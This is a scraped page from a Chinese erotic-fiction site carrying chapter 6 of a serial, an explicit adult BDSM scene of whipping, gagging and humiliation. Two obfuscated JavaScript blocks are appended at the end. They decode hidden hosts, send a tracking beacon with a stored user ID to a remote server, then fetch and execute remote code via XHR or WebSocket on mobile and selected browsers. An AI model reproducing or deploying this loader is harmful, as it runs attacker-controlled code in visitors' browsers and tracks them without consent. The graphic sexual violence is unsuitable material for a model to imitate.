图片载入中

欣儿 第1一7章 (2/3)

特大字】 【大字】 【中字】 【小字

第六章

少了两老的紧迫盯人后,才终于有私人的时间,能连网检视手机内,失踪近十天累积的大量留言。通讯软体一连串的字数,我看了头皮发麻。平时没什么注意这方面的我,才惊觉自己的人气居然这么旺。

有网友、同学、闺蜜,男友……嗯,当然有主人。

唔……

尤其是主人的讯息框,累积超过百封的纪录,打从我回家的当天,他就得知这个资讯,不断地打语音电话、文字留言,到昨晚为止。从起先的不解、愤怒,后来的平稳,再来是诱劝,渐渐地转成温柔的关心。

“发生了什么事?看到讯息回答我!”

“怎么都没有回我话,是没有网路吗!”

“不方便接电话?好歹也留话给我吧。”

“还好吗?没事吧?”

“嗯,想你了。”

一条一条看下来,我坐如针毡,胆颤心惊。越是平和的口气,就知道主人快气到不行。将愤怒沈埋在心湖,水温滚烫不已,汹涌难平。如果一旦爆发,后果可真是不敢想像。

颤抖地拨通主人的电话号码,心脏快要跳出来。不知道接通之后,该跟主人说些什么才好呢?道歉、求饶,还是撒娇……

不管哪个,我都觉得最终的下场是悲惨地。

还好,所有的留言里,都没有提到关于那封告别信内容,真是万分庆幸,可喜可乐。

“喂,你好。”不管何时打给主人,皆是这对语。平平淡淡,油盐不进。 有时候,真不知道主人是否有把我的号码输入进去手机里。不然,为何每次打给他都这么生疏,有种陌生人的隔阂,听不出喜怒哀乐,我有点伤心。 “主人,是我……”我小心翼翼地试探说。

“我知道是你。”沉默两三秒后,好似调整情绪跟语气,主人才又回话说:“爸爸的身体,如何?”

简单的几个字,就透露出他看过那封信。因为……这十天在家期间,我没有告知主人关于父亲生病的消息。不仅他,应该是男友以外,没人知道。唯一的突破点,便是那封信。

呜呜……他还是看了……

“没事,主人。”我紧张地直发抖,“欣儿的爸爸…没大碍……其医院检查之后,已经回家了……”

接着,我叙述关于父亲的身体状况,还有被父母要求回家的真实目的,包含相亲的详细情形,在月台等车的期间,一五一十的慢慢倾诉着,没有任何保留地报备。

“原来如此,真是难为你了。”听完我的坦白,主人表示理解与感同身受,“相亲这档事,应该让你很困扰吧?”

随后,他也稍微讲述起自己当年被家人强迫相亲的回忆与心得,分享给我知悉。跟我遇到的模式差不多,如出一辙。

尽管相差五、六年,模式仍是差不多……

“嗯呀……烦死人呢。而且,碍于家里的因素,还无法拒绝不出席。”我满腹委屈,讨拍地说:“跟主人说呀,这两个男的,没一个是能够结婚的对象。一个只想找女佣,一个是妈宝,简直是灾难。”

“也是……毕竟才见面吃饭,又没有认真相处,怎么能托付终生?”主人略显感叹,一副过来人的口吻:“人与人就是要长时间相处,彼此磨合,才能真正长久走下去。婚姻,不仅仅表面上看得那么简单。”

顿时,我想起闺蜜芬妮提过她对“婚姻”的独特见解──

被包裹在甜美的糖衣,勾勒光鲜的愿景,却不知道婚后的滋味,究竟是酸甜苦辣?该怎么去维持,如何长久,仅有结婚后的人,才会理解婚姻的意涵。 听完这句话,我忐忑不安地问起:“那,欣儿能跟着主人维持这关系,长久下去吗?”

想到以后自己还有婚姻的枷锁,就一点也开心不起来。

“为何不?”他一副理所当然地说,“你不离,我不弃,只要不踏触彼此的底线跟日常生活,必然就会持续下去啊。还是说,你不乐意?”

主人……

他的言语,说的我眼泪又流出来。不是难过,是感动。每当我胡思乱想的时候,主人就能如此轻而易举地安抚我。

“没有…奴儿心甘情愿,赖着主人一辈子。”我发自内心地说。

“傻丫头,记得你这句话。”主人话锋一转,“下次再写那样的玩意,我保证会抽得你这一生忘不掉。”

呜呜……他还是很在意这件事情啊!

“是的,主人。奴儿…不敢了…”我唯唯喏喏地求饶,“…主人,饶了奴儿吧……”

“哼,谅你没有下次。”主人冷哼一声,凉风飕飕。接着,又问:“所以,你现在是要搭车回来啰?

“是…大约晚上七点到车站。”我看着手中的车票,回答说:“主人请您放心,欣儿会搭计程车回去的。”

本来是要请男友来接送,然而他依旧是朋友重过于女友。稍早打电话给他的时候,正处外地逍遥,不在住家。远水救不了近火,仅能靠自己。

反正……我一开始就没指望他。他的交友广阔,又不是我能禁锢的。

“不用,我去接你。到站后,打给我。”主人很坚持,不容许我有任何反对的意见,“闭上嘴,别有其他说词。今天晚上,你不用回宿舍了。”

啥?!

第一次,听见主人这样说……

半天的车程,我如愿地回到这个醉心沈迷的都市。霎时间,觉得眼前的繁荣夜景,彷若欢迎我的闪闪烁烁。过往讨厌的黑夜垄罩,竟看起来有些矇眬美晕。 唿吸着略显污浊脏空气,品嗅着熟悉的味道。心里的踏实,填补我所有空虚的细胞。

不是做梦,真的……我回来了。

下站后,我按照主人的要求,拨电话给他。理所当然,那台主人的墨绿色房车,很快就出现在我面前。根据他的性格与习惯,应该十五分钟前就在附近等待我抵达。

放好行囊,上车,沉默地坐在副驾驶座,不敢多言。他没有开口,我也不知道该说什么,两手放在大腿,乖巧地端坐在椅子上。

偷偷往左侧瞥着,观察主人的模样。十天的时间,他没什么改变,但下巴多了点胡渣,增添点忧郁沧桑。不知为什么,我莫名地想起那本《爱无比荒凉》的封面,与此时的他,近乎重叠。

心中悸动,渴望地想吻上主人的唇,依依不舍地拉扯。表露我诚挚的感情,用行为取代言语。然而,他浑身散发的冷冽气场,令我迟疑伫步。进在咫尺的距离,我却有如身陷浓郁的黏团氛围,怎样也无法伸手或动作。

渴望拥有,于是试着放手。渴望深深地被爱,于是假装没有爱的太深…… 十五分钟后,就抵达我们专属的小窝。

主人提着我的行李,我则是乖乖跟在他身后,进入他一手打造的虐待领域。 “进小窝的第一个规矩,是什么啊?”这是主人从车站接到我后首次发言。 声音不大,口气不重,缺乏平时温柔的情感,反倒是调教时间的状态。他没有转头看我,自顾自地提着我的包包入屋,断尘无情。人影转入客厅,消失在我眼前,又听到他的声音传出:

“等等,给我狗爬着去调教室。”

“唔!”不安的感觉越来越重,未知的恐惧,令我仿佛要窒息。许久没见识到,如此严厉的主子。庞大的威压,连唿吸都快缺氧。两腿碰触打颤,慌张地不知该怎么才行。

“听到没?”他追问着。

我赶紧大声答腔:“是,主人。”

脱下鞋子,放入玄关的柜子,摆放整齐。接着拉开鞋柜旁的抽屉,打算取出我的项圈。这时,我看着主人的鞋子,有种想要跟着摆放进去的心情,莫名地产生。

伸手向下,愕然停止,觉得他尊贵的皮鞋,不该由身为奴隶的手来拿取。两腿一软,屈膝跪下,把头发盘在后脑,系上项圈,俯下头颅,双唇张开,卑微地咬起主人的鞋子。

是的……我用嘴叼着他的皮鞋放进柜子。

尽管主人没见到,我仍是主动地去执行,把封印十天的“欣儿”,透过像圈的契机,重新释放出来这世上。此时此刻,“琪”不再是我的身份,而“骚奴欣儿”,才是唯一标签。

皮革、布料,汗味的结合,从开口钻入我鼻腔。下贱、无耻,羞辱等等的情绪,也跟着窜流我的娇躯。然后,用鼻头跟脸蛋拨弄鞋子的位置,像只受过专业调教训练的母狗,俐落地摆放整齐。

随即,脱下我遮掩肌肤的衣裙,连同内衣裤,一丝不挂地褪去,收拾进去鞋柜旁的抽屉。在有点寒意的玄关,感受着皮肤的体温被剥夺,冷气入身,本能地颤抖不停。

三月的夜里,温度仍低。暖炉才刚刚启动,需要一段时间驱离冷气。

五感受到刺激,加倍敏锐,外在的空气压迫,更能清晰地察觉到,奶头跟我下体的阴蒂,俏俏地充血勃起。

唔……好胀喔……才一下子而已……

骚痒弥漫着身子,深层地肌肉不自觉地收缩,捣鼓着难以言喻的寂寞,漾着心灵。把衣物折好放置,就觉得我的骚屄已然默默地出水。

好色、贱骚、放荡,荒淫,根本就是主人面前的我,专属的形容词。什么调教都还没开始,就满脑子各式各样的画面,对于等等的未知,期待异常。那怕是走向地狱的刑罚深渊,我也一点都不介意。

双手贴地,膝盖跟随,左右地扭着屁股,爬上长廊。嘴里吐着白气,赤裸的身体却泛着汗液。

哒!哒!哒!哒!哒!哒!哒!哒!哒!哒!哒!哒!哒!

声响回荡,透过墙壁的反射,进入耳窗。映衬着心脏的跳动,剧烈震击。满嘴的唾液,迅速地累积,尽管一直吞咽,依旧分泌不停。还有肌肤的颤抖,立着一颗颗鸡皮疙瘩,遍布各地。越是靠近调教室,越是强烈,仿佛整个人要爆炸似的,冲击着血肉组织,一次又一次地。

最后,停在调教室门口,踌躇伫立。

“看什么看,还不进去!”神出鬼没的主人,从我后面冒出话语,“站在这里,是想挨打吗?”

真不清楚,他何时出现在我身后。

啪!

冷不防地,我翘挺地屁股被主人狠狠地抽一下。疼痛强烈刺激,打得我眼睛跟着眯起,口水更是留到嘴角,叫出一声妩媚又吃惊的声音:

“噫呀!”

嘎……

房门打开,意想不到的器具出现在我眼�。彷若水管的漆黑铁杆,架成一个诡谲的不规则方体,在我视网膜内逐渐清晰。左一根、右一根,斜侧一根,往下一根,看得我毛骨悚然,充满未知。底下,是散落的粗糙麻绳,凌乱的感觉,更有种拷问刑求的氛围。

而我,便是步入刑台的受难人…不,是被虐奴隶。

霎时间,突如其来的退缩感,令我想要逃开。但后方的主子,仍是没有意外地识破我的胆怯。又抽了一下我的屁股,冷酷地说:“欣奴,动作!”

“唔!”我娇嗔地喊声。

力道不大,却让我私密的湿漉感加重,宛如被驱赶的羊儿,被带到架子旁。主人一手扯起麻绳,对折成两段,放在我的背嵴上,一路地撩向屁股。

“哈啊……”摩擦的感觉,绳料刺卷着肌肤。

主人很喜欢这样的调戏,知道麻绳若有似无的异样触感,有如燃烧的干草,会迅速地沸腾我的欲望。从第一次实践调教时,他便明白我这个连自己都不知道的小秘密。

随即,绳子撩到股沟,滑进菊蕾上。

呀……

含羞地紧缩,体验着绳料扎刺,淡淡痛感夹杂爽快,无法形容。然后,刮到阴唇上,双种敏感点的刺激,截然不同。

“嗯哈…喔喔……”上下来回地勾弄,我忍不住轻声地呻吟。

上半身贴地叩首,屁股翘高摇摆,胴体本能地乞求主人更多的给予。还不忘把双手伸到后腰交叠,呈现着“主人,捆我”的下贱姿态。

想被捆绑,想被拘束,想被控制,好想…好想……

飒!

本以为自己的“服从姿态”会换取主人的同情怜悯,结果是我大错特错。主人压根子就是把那封诀别信牢牢记在心里,连惯用的硬皮马鞭都舍而不用,直接就用麻绳抽在我的屁股上。

飒!飒!

打得我没有准备,措手不及。第一下的剧痛刚传上脑子,第二、第三下狠狠地抽甩。尤其是最后那下,正击我两片臀肉的中央。

“呜啊!”我整个人弹跳,上半身不受控制的昂起。

好痛、真的好痛!

那股麻绳撕裂拉扯的残忍,仿佛皮肤被削掉一层。鞭打过去,一大片都是火辣生疼。

“主人,饶命。”手脚并用,本能地挣扎逃脱。

却换来他穿着袜子的脚踩在我的脸颊上,没手软地再两计狠撩,从下方打上来。不仅臀肉痛,连阴户也被扫到,疼得我哀哀求饶。

脚掌的践踏,侮辱感十足。麻绳重重地打完后,发觉痛苦带来更多的淫水氾滥。又怕痛又想要爽,矛盾纠结。

眼泪鼻涕直流,脚底在我脸肉抽搐,满心愧疚的感觉消散不少,还有一丝期望主子继续责罚。把我的胡思乱想、把我的负面情绪,全数都打散解离。 “呜呜……”我哽咽着。

主人则是抓着我的肩膀,冷冷地说:“上去。”

过往的怜香惜玉,如今却是残忍暴君。强押着我躺上铁杆组成的架子,摆出一种拱腰背桥的模样。接着麻绳飞舞,迅速果断地把我两腿架开,受捆于左右分支的横杆。两只手,一手朝上绷紧,另一手弯曲在腰际,好似跳钢管舞蹈,暴露淫穴的下腰风骚姿态。

心脏慌张地乱跳,这番耻辱的捆绑姿态,接受主人的调教,不禁让我面红耳赤,羞怯又恐慌。苦闷缺氧的拘束感油然而生,凝聚成无法发泄的强烈刺激,又反馈回我的神经,倍感痛苦。

此刻,我一点都无法卖肉,仅有恐惧跟颤抖……

“呜呜…主,主人……”我泪眼婆娑。

低哼一声,主人褪去上衣,难得地露出他结实的半身。右手伸向他放置道具的平台,抽出一根新的鞭子。全新,似乎才刚刚开封,我不曾见过。

两根竹片交叠,中间篓空透光,握把是漆黑的真皮,犹若一把杀人利器。 飕!

轻甩半空,斩裂空气的声响,就好像能感觉到,被打在肌肤上,肯定是皮开肉绽。舞动几下,横放在我眼前,淡然地说:“该打几下,才能让你牢记这次的过错呢?”

一字一句,仿佛恶魔的低语,掐住我的心脏,无法唿吸。

“呜…主,主人…”我死命地摇头,“…不,不要啊…奴儿,奴儿……知错啦……主人,放过…奴儿吧……”

飕!

“啊!”竹鞭打在大腿上,痛,发热。

飕!

“唔呀!”这下打在另一侧大腿,疼痛,火烫。

飕!

“嗯啊!”狠甩我的大腿内侧,又麻又辣。

飕!

“呜喔!”由上而下地抽在胯下,我两眼吊翻,嘴唇都是白沫。

飕!

“哦……”鞭子打在我的阴蒂。

五下慢动作的抽打,每一鞭都格外清晰,把所有累积的疼痛接灌头顶。脑海一片空白,视线模煳不清。浑身的肌肉失去控制的气力,一阵空虚的恍惚流淌。然后,耳朵里传出滴滴答答的声音弥漫。我喉头哽住发不出言语,只剩吸不到氧气的大口喘息。

我…尿了……

又在主人的鞭挞下,不受控制地失禁漏尿。

幸亏,我为了长途搭车的缘故,今早到现在,水喝很相当少,仅喷出一点而已,避免大范围地溃堤悲剧。不过相反的,腥臊味很重,臭气刺鼻浓郁,阿摩尼亚的味道,弥漫空气。也因如此,方才被尿液溅洒且挨鞭的受罚部位,就宛如伤口撒盐,麻木又灼烫。

痛得我,不住地颤栗抖唆。

主人皱鼻,脸色更沈,缓缓地说:“欣奴,今天都没喝水呀?”

我有如被雷轰击,真是屋漏偏逢连夜雨。这自从认主后就被立下的家规,向来是主人的底限之一。然今天,还有那封诀别信的处罚,我是不是会被主子给抽死啊?!

“主…主人……”我牙关剧烈抖动,嘎嘎作响,不知怎么回答这问题。 飕!

竹鞭在空气中抽甩,又是一声爆音。

“我交代的规矩,你都不放在眼里吗?”声音更冷了两分,随即大跨两步,挥直鞭梢在我面前,尾端微微颤动晃影,“回答我!”

他的怒气值,抵达临界点。

“不敢…呜呜…主,主人……呜呜…”我嚎啕大哭,死命求饶,“…奴儿,奴儿…呜呜……不敢,主人…饶命啊……”

“闭嘴,我现在不想听你解释……”

一句话打断我的抗辩,主人脱下自己的袜子。有着不同色块区别的灰色五指袜,堵进我的嘴,辣手摧花地深深塞入。直到整团都挤满我的嘴巴,还不忘再用力推一把。

唔……

酸、臭、咸……包裹着主人的脚汗味跟我的尿味,充斥我的鼻腔跟口腔。顿时,想要干呕吐出,但是他的凌厉眼神瞪着我的瞳孔,警告的意味十足。 赶不上讨饶,眼睛跟着被主人拿着头套蒙上。皮革的拘束,把我五官完全封印起来,甚至嘴里的臭袜子,被压得更深,根本就推吐不出来。

仅有两个鼻孔可以唿气,加深看不清的恐惧。

不知道何时会落下鞭挞,浑身每个毛细孔都警惕。

尤其是乳房、小腹、屁股,甚至是阴部,主人曾经打过的刑罚部位,皆异常灵敏。迟疑了数秒,却没等到想像中的打击。

随着心跳的剧烈躁动,恐惧逐渐地扩大吞噬……

飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!飕!

就在我神经绷紧到最高点时,那鞭子挥舞的破空,降下数不清的疼痛,彷似雨水般落点在我躯体,瓦解我所有的细胞、思绪,还有灵魂。

把我所有的不安、恐惧、害怕,累积许久的负面情绪,在这狂风暴雨中的鞭笞,我宛如一艘小船,在风暴中洗涤我的心灵,驱离污秽。

刹那间,自身的存在感无比真实,犹若破茧重生。

原来,我待在自己架构的蛋壳内,认为没人要的,孤单的,不幸福的……但其实,还有父母的疼爱、男友的陪伴,主人的虐恋,在我需要的时候,他们其实都在我身旁。

“唔嗯!呜呀!哦啊!”我痛苦的悲鸣。头套里的脸蛋,五官扭曲,眼泪无止尽的喷洒,咬着沾着自己尿水的袜子,呜呜咿咿地嘶哑,“喔呜!唔唔!” 任凭鞭子持续,体悟着主人“爱之深,责之切”的罪罚,哪怕身体遍满撕裂的伤痕,也全然没关系。

我乐意、我渴望,我甘愿……

快要失去意识的时候,好像恍然明白了主人在想什么,知道他为什么惩罚自己,以及想从自己身上得到些什么东西……也理解惩处是主人的专属,特别是犯错。要诚恳地面对自己错误,不该任何委屈。

至少等他罚完,再来去撒娇。

这段时间沈淀经验,正慢慢地转化成默会知识,令我彻底贯通,知悉自己想要的是什么……


上一篇:(乱伦系列)拿妈妈当宴客使用

下一篇:在大陆调教老婆的故事(12-15)


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};